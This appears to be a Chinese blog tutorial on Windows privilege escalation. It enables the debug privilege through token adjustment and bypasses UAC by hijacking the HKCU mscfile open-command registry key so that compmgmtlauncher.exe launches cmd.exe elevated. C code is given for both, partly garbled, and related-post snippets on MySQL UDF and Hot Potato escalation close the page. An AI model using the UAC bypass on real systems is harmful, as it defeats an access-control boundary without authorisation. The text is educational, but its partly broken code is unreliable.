基於Windows上的幾種提權手段

2021-09-24 21:16:43 字數 3272 閱讀 7972

自從vista之後windows就開始實行了uac機制(

無論是標準使用者還是特權使用者都以標準使用者許可權執行程式。除非使用者特別選擇以管理員許可權執行程式並且系統會提示乙個許可權提公升的對話方塊。如果當時正處於標準使用者登陸狀態,則系統會要求輸入管理員賬號密碼以此來進行一次管理員許可權的程式執行。

在這個基礎上,windows還會生成兩個令牌,乙個是完全許可權的令牌還有乙個則是未篩選的令牌,通常情況系統預設使用未篩選的令牌執行程式,這會導致訪問許可權不足而執行失敗(比如呼叫openprocess等api)。我們需要把未篩選的令牌許可權提公升才能正常執行一些需要某些特殊許可權的程序。

這裡介紹如何進行未篩選令牌許可權的提公升即獲取debug許可權,除了獲取管理員許可權再獲取該許可權後便能進行很多操作了。要獲取debug許可權那就必須要在程序的訪問令牌上做手腳,所以首先需要呼叫openprocesstoken開啟程序令牌。來看一下該函式原型:

bool openprocesstoken(

handle processhandle, // 需要開啟程序令牌的程序控制代碼

dword desiredaccess, // 想要修改令牌許可權, 需要設定為token_adjust_privileges

phandle tokenhandle // 輸出引數,獲得的程序令牌控制代碼

);

接下去通過lookupprivilegevalue來獲取具體的luid值並填充token_privileges結構體。最後呼叫adjusttokenprivileges來獲取debug許可權。首先看一下token_privileges結構體:

typedef struct _token_privileges  token_privileges, *ptoken_privileges;

typedef struct _luid_and_attributes luid_and_attributes, *pluid_and_attributes;

token_privileges中包含兩項內容,第一項是privilegecount意味著所需特權的數量,第二項是luid_and_attributes結構體陣列,裡面包含著luid和具體想要獲得的特權屬性。

就拿我們目前來舉例,我們只需要一項令牌許可權,就是debug許可權。所以把privilegecount簡單賦1即可。正因如此我們的luid_and_attriutes結構體陣列只需要填充一項以此來與privilegecount配合。attribute填入se_privilege_enabled來表示這是為了允許某項許可權。在lookupprivilegevalue中我們獲取某項許可權特定的luid數值。這裡的鏈結給出所有令牌許可權的可用數值:

接下去貼出**例項:

#include #include bool elevateprivileges(handle hprocess, lpctstr lpszprivilegename) ;

if (!openprocesstoken(hprocess, token_adjust_privileges, &htoken))

tp.privilegecount = 1;

tp.privileges[0].attributes = se_privilege_enabled;

if (!lookupprivilegevalue(null, lpszprivilegename, &(tp.privileges[0].luid)))

if (!adjusttokenprivileges(htoken, false, &tp, sizeof(tp), null, null))

closehandle(htoken);

return(true);

}int _tmain()

return(0);

}

在c:\\windows\\system32目錄下的程序基本上都是白名單程式(不需要通過uac機制即不會顯示管理員許可權提公升提示對話方塊的程式)。其中有乙個程式叫compmgmtlauncher.exe。該程式用於啟動計算機管理程式。其啟動時的特點是:

1. 查詢登錄檔中hkey_current_user\\software\\classes\\mscfile\\shell\\open\\command\\(default)中填入的路徑。並開啟路徑中的程序

2. 如果該登錄檔項或該路徑不存在則轉向hkey_current_root\\mscfile\shell\\open\\command\\(default)中讀取。其寫入的是mmc.exe程序的路徑資訊,正是如此便開啟了計算機管理的程序。

從中我們可以得知,只要第一步中讀取到了程序路徑那麼便會直接以管理員許可權開啟該程序。也就是說我們只要把想要bypass的程序路徑寫入hkey_current_user\\software\\classes\\mscfile\\shell\\open\\command\\(default)即可。

那麼這個問題也簡單的轉化成了往hkey_current_user\\software\\classes\\mscfile\\shell\\open\\command\\(default)中填寫乙個程序的路徑。看如下**:

#include #include #include #define bypassuac "software\\classes\\mscfile\\shell\\open\\command"

int _tmain() ;

if (error_success != regcreatekeyex(hkey_current_user, bypassuac, 0, null, 0,

key_all_access, null, &hkey, null))

getsystemdirectory(szexepath, max_path);

_tcscat_s(szexepath, _countof(szexepath), "\\cmd.exe");

printf("%s\n", szexepath);

if (error_success == regsetvalueex(hkey, null, 0, reg_sz, (byte*)szexepath, _tcslen(szexepath) + 1))

printf("succeeded!\n");

else

printf("failed!\n");

regclosekey(hkey);

return(0);

}

上面我們把通過compmgmtlauncher.exe開啟mmc.exe改變成了通過其開啟cmd.exe。本質上我們是通過被動等待使用者開啟白名單程式順帶幫我們開啟我們想要的程式(bypass uac).

windows基礎提權

提到system許可權 甚至讓他變成你的肉雞 我們了解一下windows下面有那些使用者 guests是使用者最低的許可權 而且一般是被禁用的 user許可權也很低 連關機都不行 還有window系統內建使用者組 只對本站的主目錄有讀寫修改的許可權 net user 顯示你當前系統有那些使用者賬號 ...

mysql 提權 通過Mysql提權的幾種姿勢

本文記錄利用mysql資料庫,在拿到shell之後進行提權的兩種方法。一 udf提權 基本步驟 1 匯出udf.dll檔案到指定目錄 有些webshell整合,直接導 出即可,沒有,則需要上傳 2 基於udf.dll建立自定義函式cmdshell 3 利用自定義函式,執行高許可權cmd命令 以下按照...

Hot Potato Windows上的提權漏洞

windows 7,8,10,server 2008以及server 2012版本的作業系統平台中存在提權漏洞,攻擊者可以利用這一漏洞發動新型的網路攻擊。工作機制 在windows作業系統的預設配置下,hot potato 也被稱為potato 能夠利用windows中的漏洞來獲取本地計算機的控制許...